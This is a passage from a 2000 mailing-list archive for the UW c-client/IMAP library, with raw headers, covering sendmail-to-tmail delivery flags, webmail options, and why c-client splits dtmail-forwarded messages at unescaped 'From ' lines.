OAA22212 for ; Wed, 10 May 2000 14:55:58 -0700 Received: from andrew.triumf.ca (IDENT:root@andrew.Triumf.CA [142.90.106.59]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA06018 for ; Wed, 10 May 2000 14:55:57 -0700 Received: from localhost (IDENT:andrew@localhost [127.0.0.1]) by andrew.triumf.ca (8.9.3/8.9.3) with ESMTP id OAA11978; Wed, 10 May 2000 14:55:44 -0700 Message-Id: Date: Wed, 10 May 2000 14:55:44 -0700 (PDT) Reply-To: Andrew Daviel Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Daviel To: sendmail-questions@sendmail.org, c-client@u.washington.edu Subject: Using sendmail with tmail (MBX format) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I hear that MBX format mailboxes as supported by UW imapd are more efficient than Unix mailboxes as directly supported by procmail. It would be nice to speed up our mail server. When I try to use "tmail" as a local delievery agent e.g. Mlocal P=/usr/sbin/tmail, F=lsDFMAw5:/|@qSPfhn9, S=10/30, R=20/40, T=DNS/RFC822/X-Unix, A=tmail $u I get an error "unknown switch" (sendmail 8.9.3) It seems that sendmail is passing "-f $f" to tmail before the arguments given in Mlocal. "-f" is unsupported in tmail 4.1(11). I made things work by copying the lines in tmail.c which handle "-r", so that tmail generates a "Resent-From" header. Is this legitimate, should I just drop the -f arguments altogether, or what ? Andrew Daviel TRIUMF -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed May 10 15:15:26 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 10 May 2000 15:15:26 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA28170 for ; Wed, 10 May 2000 15:15:24 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA25133; Wed, 10 May 2000 15:15:22 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA25016; Wed, 10 May 2000 15:14:47 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA19496 for ; Wed, 10 May 2000 15:13:24 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA09874 for ; Wed, 10 May 2000 15:13:24 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA00378; Wed, 10 May 2000 15:13:23 -0700 Received: from localhost (hubert@localhost) by shiva1.cac.washington.edu (8.10.1+UW00.04/8.10.1+UW00.04) with ESMTP id e4AMDMq05379; Wed, 10 May 2000 15:13:22 -0700 Message-Id: Date: Wed, 10 May 2000 15:13:21 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Steve Hubert To: Andrew Daviel Cc: sendmail-questions@sendmail.org, c-client@u.washington.edu Subject: Re: Using sendmail with tmail (MBX format) In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Yes, drop the 'f' flag out of the F= list. -- Steve Hubert Networks and Distributed Computing, Univ. of Washington, Seattle On Wed, 10 May 2000, Andrew Daviel wrote: > > I hear that MBX format mailboxes as supported by UW imapd > are more efficient than Unix mailboxes as directly supported by procmail. > It would be nice to speed up our mail server. > > When I try to use "tmail" as a local delievery agent e.g. > Mlocal P=/usr/sbin/tmail, F=lsDFMAw5:/|@qSPfhn9, S=10/30, > R=20/40, T=DNS/RFC822/X-Unix, > A=tmail $u > > I get an error "unknown switch" (sendmail 8.9.3) > It seems that sendmail is passing "-f $f" to tmail before > the arguments given in Mlocal. "-f" is unsupported in tmail 4.1(11). > > I made things work by copying the lines in tmail.c which handle > "-r", so that tmail generates a "Resent-From" header. > Is this legitimate, should I just drop the -f arguments altogether, > or what ? > > Andrew Daviel > TRIUMF > > > > From pinedev@shivax2.cac.washington.edu Wed May 10 15:29:00 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 10 May 2000 15:29:00 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA30679 for ; Wed, 10 May 2000 15:28:58 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA30847; Wed, 10 May 2000 15:28:55 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA22697; Wed, 10 May 2000 15:27:56 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA60506 for ; Wed, 10 May 2000 15:26:45 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (jzs@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA19702 for ; Wed, 10 May 2000 15:26:44 -0700 Message-Id: Date: Wed, 10 May 2000 15:24:55 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Andrew Daviel Cc: sendmail-questions@sendmail.org, c-client@u.washington.edu Subject: re: Using sendmail with tmail (MBX format) In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 10 May 2000 14:55:44 -0700 (PDT), Andrew Daviel wrote: > I made things work by copying the lines in tmail.c which handle > "-r", so that tmail generates a "Resent-From" header. > Is this legitimate, should I just drop the -f arguments altogether, > or what ? What, precisely, is the meaning of the -f switch? From pinedev@shivax2.cac.washington.edu Wed May 10 16:53:10 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 10 May 2000 16:53:09 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA32490 for ; Wed, 10 May 2000 16:53:08 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA00996; Wed, 10 May 2000 16:53:05 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id QAA01184; Wed, 10 May 2000 16:51:44 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id QAA29090 for ; Wed, 10 May 2000 16:49:38 -0700 Received: from andrew.triumf.ca (IDENT:root@andrew.Triumf.CA [142.90.106.59]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA29426 for ; Wed, 10 May 2000 16:49:36 -0700 Received: from localhost (IDENT:andrew@localhost [127.0.0.1]) by andrew.triumf.ca (8.9.3/8.9.3) with ESMTP id QAA25592; Wed, 10 May 2000 16:49:32 -0700 Message-Id: Date: Wed, 10 May 2000 16:49:32 -0700 (PDT) Reply-To: Andrew Daviel Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Daviel To: Mark Crispin Cc: sendmail-questions@sendmail.org, c-client@u.washington.edu Subject: re: Using sendmail with tmail (MBX format) In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 10 May 2000, Mark Crispin wrote: > What, precisely, is the meaning of the -f switch? Thanks to Steve's reply, I have looked in the sendmail docs and found, that for the M rules (e.g. Mlocal), the F flags include f - mailer requires an "-f from" flag r - same as f but use "-r" P - mailer requires a Return-Path header etc. etc. I was using the sendmail.cf that comes with RedHat 6.1, I think, which had f set in Mlocal as I wrote, and uses procmail. The procmail manpage says -f fromwhom Causes procmail to regenerate the leading `From ' line with fromwhom as the sender (instead of -f one could use the alternate and obsolete -r). regards Andrew From pinedev@shivax2.cac.washington.edu Wed May 10 17:28:21 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 10 May 2000 17:28:20 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA30236 for ; Wed, 10 May 2000 17:28:19 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA01862; Wed, 10 May 2000 17:28:16 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id RAA02992; Wed, 10 May 2000 17:27:47 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id RAA34754 for ; Wed, 10 May 2000 17:26:56 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pat@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA04749 for ; Wed, 10 May 2000 17:26:56 -0700 Message-Id: Date: Wed, 10 May 2000 17:26:16 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Andrew Daviel Cc: sendmail-questions@sendmail.org, c-client@u.washington.edu Subject: re: Using sendmail with tmail (MBX format) In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN OK, I will make -f be the same as -r in the next version of tmail and dmail. Thank you for the information. From pinedev@shivax2.cac.washington.edu Tue May 16 12:00:18 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 16 May 2000 12:00:17 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA02091 for ; Tue, 16 May 2000 12:00:16 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA28428; Tue, 16 May 2000 12:00:14 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA26690; Tue, 16 May 2000 11:59:20 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA55316 for ; Tue, 16 May 2000 11:56:39 -0700 Received: from andrew.triumf.ca (IDENT:root@andrew.Triumf.CA [142.90.106.59]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA06646 for ; Tue, 16 May 2000 11:56:38 -0700 Received: from localhost (IDENT:andrew@localhost [127.0.0.1]) by andrew.triumf.ca (8.9.3/8.9.3) with ESMTP id LAA08623 for ; Tue, 16 May 2000 11:56:31 -0700 Message-Id: Date: Tue, 16 May 2000 11:56:31 -0700 (PDT) Reply-To: Andrew Daviel Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Daviel To: c-client@u.washington.edu Subject: any (free) Web clients out there ? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Are there any webmail packages available that would work with Linux/sendmail/imapd ? One of our users wanted a way to read mail from different computers around the site. I think they just want to "borrow" a browser session so don't want to tinker with preferences to run IMAP properly. I had a look at the Java Webmail system, but it seems to need 50Mb of RAM to run properly and I wasn't having much luck. I was thinking of some kind of CGI program. I could probably build one using the Perl Mail::Cclient from CPAN but wondered if it already exists. Andrew Daviel, TRIUMF, Canada -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue May 16 13:46:23 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 16 May 2000 13:46:23 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA17328 for ; Tue, 16 May 2000 13:46:22 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA31862; Tue, 16 May 2000 13:46:19 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA05186; Tue, 16 May 2000 13:45:31 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA40100 for ; Tue, 16 May 2000 13:44:43 -0700 Received: from poseidon.rider.edu (root@poseidon.rider.edu [204.142.238.100]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA18645 for ; Tue, 16 May 2000 13:44:42 -0700 Received: from rider.edu (suave.rider.edu [204.142.238.105]) by poseidon.rider.edu (8.8.8+Sun/8.8.8) with ESMTP id QAA12780; Tue, 16 May 2000 16:44:37 -0400 (EDT) Message-Id: <3921B33B.9C073207@rider.edu> Date: Tue, 16 May 2000 16:44:43 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ricardo Stella To: Andrew Daviel Cc: c-client@u.washington.edu Subject: Re: any (free) Web clients out there ? References: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------C899385898DE3FAEE42037CE" X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------C899385898DE3FAEE42037CE Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Two AFAIK: imp and wing. For more, look at www.imap.org. Both are kind of heavy in requirements and not ready for production IMHO. But actually there's not even much available even commercial. There's another one free banner based I think... Andrew Daviel wrote: > > Are there any webmail packages available that would work with > Linux/sendmail/imapd ? > > One of our users wanted a way to read mail from different computers around > the site. I think they just want to "borrow" a browser session so don't > want to tinker with preferences to run IMAP properly. > > I had a look at the Java Webmail system, but it seems to need 50Mb of RAM > to run properly and I wasn't having much luck. > > I was thinking of some kind of CGI program. I could probably build one > using the Perl Mail::Cclient from CPAN but wondered if it already exists. > > Andrew Daviel, TRIUMF, Canada > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ -- ------------------------------------------------------------------ Ricardo Stella O.I.T. (609)896-5000 x7436 _suAve_ Rider University *** Remove 'no-spam' from e-mail address before replying. *** --------------C899385898DE3FAEE42037CE Content-Type: text/x-vcard; charset=us-ascii; name="stella.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Ricardo Stella Content-Disposition: attachment; filename="stella.vcf" begin:vcard adr;dom:;;;Lawrenceville;NJ;08648; adr:;;2083 Lawreceville Road;Lawrenceville;NJ;08648; n:Stella;Ricardo tel;fax:1-609-219-4994 tel;work:1-609-896-5000 x7436 x-mozilla-html:FALSE url:http://poseidon.rider.edu org:Rider University;O.I.T. version:2.1 title:Manager x-mozilla-cpt:;-9584 fn:Ricardo Stella end:vcard --------------C899385898DE3FAEE42037CE-- From pinedev@shivax2.cac.washington.edu Wed May 17 02:43:04 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 17 May 2000 02:43:00 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA30922 for ; Wed, 17 May 2000 02:42:55 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA16696; Wed, 17 May 2000 02:42:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id CAA25388; Wed, 17 May 2000 02:42:22 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id CAA54840 for ; Wed, 17 May 2000 02:41:21 -0700 Received: from phy.hw.ac.uk (innpin.phy.hw.ac.uk [137.195.28.2]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA30116 for ; Wed, 17 May 2000 02:41:19 -0700 Received: from pc166.phy.hw.ac.uk (karsten@matterhorn.phy.hw.ac.uk [137.195.29.249]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id KAA05325 for ; Wed, 17 May 2000 10:41:08 +0100 (BST) Message-Id: <200005170941.KAA05325@phy.hw.ac.uk> Date: Wed, 17 May 2000 10:45:10 +0100 (GMT) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Karsten Ballueder To: c-client Subject: c-client cannot parse dtmail forwarded messages? MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-1014367971-846930886-958556711=:15101" X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V/Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=Cd|PGgFrom MAILER-DAEMON Wed May 17 10:31:35 2000=0ADate: 17 May 2000 10:31:35 +0= 100=0AFrom: Mail System Internal Data =0A= Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA=0AMessage-ID: <9= 58555895@pc166.phy.hw.ac.uk>=0AX-IMAP: 0956744931 0000000935=0AStatus: RO= =0A=0AThis text is part of the internal format of your mail folder, and is = not=0Aa real message. It is created automatically by the mail system softw= are.=0AIf deleted, important folder data will be lost, and it will be re-cr= eated=0Awith the data reset to initial values.=0A=0AFrom fbarr Wed May 17 1= 0:04:56 2000=0AReceived: (from fbarr@localhost)=0A=09by maui.atmel.fr (8.8.= 8+Sun/8.8.8) id KAA14169=0A=09for fbarriere; Wed, 17 May 2000 10:04:56 +010= 0 (WET DST)=0ADate: Wed, 17 May 2000 10:04:56 +0100 (WET DST)=0AFrom: Franc= ois barriere =0AMessage-Id: <200005170904.KAA14169@maui.atmel.fr>= =0AReply-to: Francois barriere =0ASubject: Test message=0ATo: fbarr= iere=0AMime-Version: 1.0=0AContent-Type: application/octet-stream=0AContent= -Transfer-Encoding: 7bit=0AContent-MD5: 7SWs7kOqBoDQZHGTuRB1pA=3D=3D=0ACont= ent-Length: 395=0AStatus: RO=0AX-Status: =0AX-Keywords: =0A= X-UID: 934=0A=0A------------- Begin Forwarded Message -------------=0A=0AFr= om fbarr Wed May 17 10:04:44 2000=0ADate: Wed, 17 May 2000 10:04:44 +0100 (= WET DST)=0AFrom: Francois barriere =0ATo: fbarriere=0ASubject: Test= message=0AMime-Version: 1.0=0AContent-Transfer-Encoding: 7bit=0AContent-MD= 5: FpcGNCFJvZ7r/uOvsfeyMg=3D=3D=0AStatus: RO=0AX-Status: =0AX-Keywords: = =0AX-UID: 935=0A=0AHello,=0A=0Ahere is a message to forward.= =0A=0AFrancois.=0A------------- End Forwarded Message -------------=0A=0A= =0A ---1014367971-846930886-958556711=:15101 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE -- Karsten Ball=FCder http://Ballueder.home.dhs.org/ mailto:karsten@phy.hw.= ac.uk Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotland Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 "In a world without fences, who needs Gates?" =20 ---1014367971-846930886-958556711=:15101-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed May 17 05:24:08 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 17 May 2000 05:24:07 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id FAA30403 for ; Wed, 17 May 2000 05:24:06 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA28650; Wed, 17 May 2000 05:24:02 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id FAA26490; Wed, 17 May 2000 05:23:03 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id FAA11398 for ; Wed, 17 May 2000 05:22:21 -0700 Received: from guiness.netcomsa.com ([216.72.122.3]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA00793 for ; Wed, 17 May 2000 05:22:17 -0700 Received: from localhost (mike@localhost) by guiness.netcomsa.com (8.8.8/8.8.8) with ESMTP id GAA14654; Wed, 17 May 2000 06:34:18 -0600 Message-Id: Date: Wed, 17 May 2000 06:34:17 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Trank To: Karsten Ballueder Cc: c-client Subject: Re: c-client cannot parse dtmail forwarded messages? In-Reply-To: <200005170941.KAA05325@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 17 May 2000, Karsten Ballueder wrote: > > What happens is, that the forwarded message appears as two messages in the > folder rather than just one. > > I've included a (very small) folder file with such a forwarded message. If you > open it, you will see that c-client parses it as two separate messages. > > Is this a c-client bug or is dtmail buggy? > in the "forwarded message" it looks like they are including the very first "From fbarr ......" line that will always indicate a new message in the mbox format, whe preceeded by a blank line. Seems to me that this would occur with any MUA. Try opening the folder with /bin/mail and I think the same thing will happen. I think that the "dtmail" thing should be careful not to put in the line with "From" without the colon ":". From pinedev@shivax2.cac.washington.edu Wed May 17 10:39:51 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 17 May 2000 10:39:51 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA30794 for ; Wed, 17 May 2000 10:39:50 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA04498; Wed, 17 May 2000 10:39:47 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA16738; Wed, 17 May 2000 10:39:09 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA11578 for ; Wed, 17 May 2000 10:37:09 -0700 Received: from netscape.com (h-205-217-237-46.netscape.com [205.217.237.46]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA15299 for ; Wed, 17 May 2000 10:37:09 -0700 Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54]) by netscape.com (8.8.5/8.8.5) with ESMTP id KAA19669 for ; Wed, 17 May 2000 10:30:27 -0700 (PDT) Received: from netscape.com ([192.18.126.227]) by dredd.mcom.com (Netscape Messaging Server 4.15) with ESMTP id FUPSXT00.4IP; Wed, 17 May 2000 10:37:05 -0700 Message-Id: <3922D956.789F9A55@netscape.com> Date: Wed, 17 May 2000 10:39:34 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: max@netscape.com (Mike Macgirvin) To: karsten@phy.hw.ac.uk Cc: c-client Subject: Re: c-client cannot parse dtmail forwarded messages? References: <200005170941.KAA05325@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Solaris has for several years now allowed embedded "From " lines in messages by adding a "Content-Length:" header so that one knows the exact length of the message. C-client uses "From " lines to break out messages and doesn't rely on Content-Length; as it is not generally standardized on Unix systems. Prior to the "Content-Length" introduction, MDA's would from-stuff messages, turning embedded lines beginning with "From " into ">From ". To make this work, you either need to figure out how to turn on from-stuffing on your delivery system or make c-client recognize "Content-Length" on the unix mailbox driver. It's probably eaiser to do the former, since I believe it's built in as a sendmail config switch (F=E applied on the local delivery mailer flags). It's been a while since I messed with this stuff so there may be a more up-to-date solution, but this should point you in the right direction. Karsten Ballueder wrote: > > I just had a report from a Mahogany user who has problems with messages > forwarded using Sun's dtmail program. Mahogany uses c-client 4.7a and I just > verified it. > > What happens is, that the forwarded message appears as two messages in the > folder rather than just one. > > I've included a (very small) folder file with such a forwarded message. If you > open it, you will see that c-client parses it as two separate messages. > > Is this a c-client bug or is dtmail buggy? > > ------------------------------------------------------------------------ > >From MAILER-DAEMON Wed May 17 10:31:35 2000 > Date: 17 May 2000 10:31:35 +0100 > From: Mail System Internal Data > Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA > Message-ID: <958555895@pc166.phy.hw.ac.uk> > X-IMAP: 0956744931 0000000935 > Status: RO > > This text is part of the internal format of your mail folder, and is not > a real message. It is created automatically by the mail system software. > If deleted, important folder data will be lost, and it will be re-created > with the data reset to initial values. > > From fbarr Wed May 17 10:04:56 2000 > Received: (from fbarr@localhost) > by maui.atmel.fr (8.8.8+Sun/8.8.8) id KAA14169 > for fbarriere; Wed, 17 May 2000 10:04:56 +0100 (WET DST) > Date: Wed, 17 May 2000 10:04:56 +0100 (WET DST) > From: Francois barriere > Message-Id: <200005170904.KAA14169@maui.atmel.fr> > Reply-to: Francois barriere > Subject: Test message > To: fbarriere > Mime-Version: 1.0 > Content-Type: application/octet-stream > Content-Transfer-Encoding: 7bit > Content-MD5: 7SWs7kOqBoDQZHGTuRB1pA== > Content-Length: 395 > Status: RO > X-Status: > X-Keywords: > X-UID: 934 > > ------------- Begin Forwarded Message ------------- > > From fbarr Wed May 17 10:04:44 2000 > Date: Wed, 17 May 2000 10:04:44 +0100 (WET DST) > From: Francois barriere > To: fbarriere > Subject: Test message > Mime-Version: 1.0 > Content-Transfer-Encoding: 7bit > Content-MD5: 